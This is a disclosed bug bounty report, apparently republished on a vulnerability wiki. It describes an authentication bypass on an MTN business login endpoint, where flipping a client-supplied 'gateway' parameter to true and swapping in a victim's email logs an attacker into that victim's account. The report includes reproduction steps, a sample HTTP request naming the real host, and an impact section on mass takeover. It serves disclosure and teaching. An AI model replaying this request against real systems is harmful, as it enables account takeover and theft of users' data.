Authentication Bypass Leads To Complete Account TakeveOver on ██████████
The login endpoint trusted a client-supplied boolean parameter that could be flipped to true, allowing an attacker to authenticate as any other user by changing the email address in the request. This led to complete account takeover for all users without knowing their passwords.
- Triaged in 3 days
- Fixed in 4 months
- Disclosed after 24 months
Summary by the researcher
The application's backend logic placed too much trust on the login information submitted by the user which allowed a remote attacker to bypass authentication and perform account takeover for all users with the wrong password. More details can be found here https://medium.com/@reachaxis/how-i-took-over-100-000-user-account-without-knowing-their-password-part-one-7d965ae9e47a
The report
Summary:
Hello Team, When an invalid email address/password is entered, the Web Application will not authenticate the user. But nevertheless, it is conceivable for an attacker to get around authentication and log in as anyone else, leading to Complete Account Takeover.
Steps To Reproduce:
Create Two Test Account (Attacker & Victim)
Using attacker's account, login at ███████
- Capture request with Burp.
- Without sending request to "Burp Repeater", modify attacker's email to victim's email. For example REDACTED+██████ to REDACTED+█████.
- Change the param
value:false, tovalue:true,and click send. - Notice, attacker has successfully bypassed the authentication to login as the victim without any interaction.
Supporting Material/References:
███
##Request
POST /app/login HTTP/1.1
Host: mtnmobad.mtnbusiness.com.ng
Cookie: █████
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.27 Safari/537.36
....snip....
Connection: close
{
"params":{
"updates":[
{
"param":"user",
"value":{
"userEmail":"REDACTED+██████",
"userPassword":"#######"
},
"op":"a"
},
{
"param":"gateway",
"value":true,
"op":"a"
}
],
....more....
##Response
HTTP/1.1 200 OK
Server: nginx
....snip....
{
"error":false,
"response":{
"id":"/703",
"name":"Victim ******",
"type":"Account",
"level":0,
"notes":{
},
....more....
██████
- [attachment / reference]
- █████
- ██████
Impact
Supposing there are 100,000 users available, a malicious actor will enumerate all 100,000 emails for all users to achieve a mass account takeover. Additionally, an attacker can lockdown an account, delete an account, change account info, and perform large data leaks.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
An attacker could perform mass account takeover by enumerating emails, and also lock down accounts, delete accounts, change account information, and cause large data leaks.
What the attacker needed
A free account; victim's email address
How it was found
- Create two test accounts, one attacker and one victim.
- Log in with the attacker's account and capture the login request.
- Modify the attacker's email to the victim's email in the request.
- Change the parameter value from false to true and send the request.
- Observe that the attacker is logged in as the victim.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When you log in, the app checks your email and password. Here, the app also accepted a hidden 'gateway' setting from the browser that said whether login should succeed. By changing that setting to true and swapping in someone else's email, the attacker could log in as that person without knowing their password.
What is Account takeover?
Getting into someone else's account through a flaw in sign-in, password reset, second factor, single sign-on or session handling.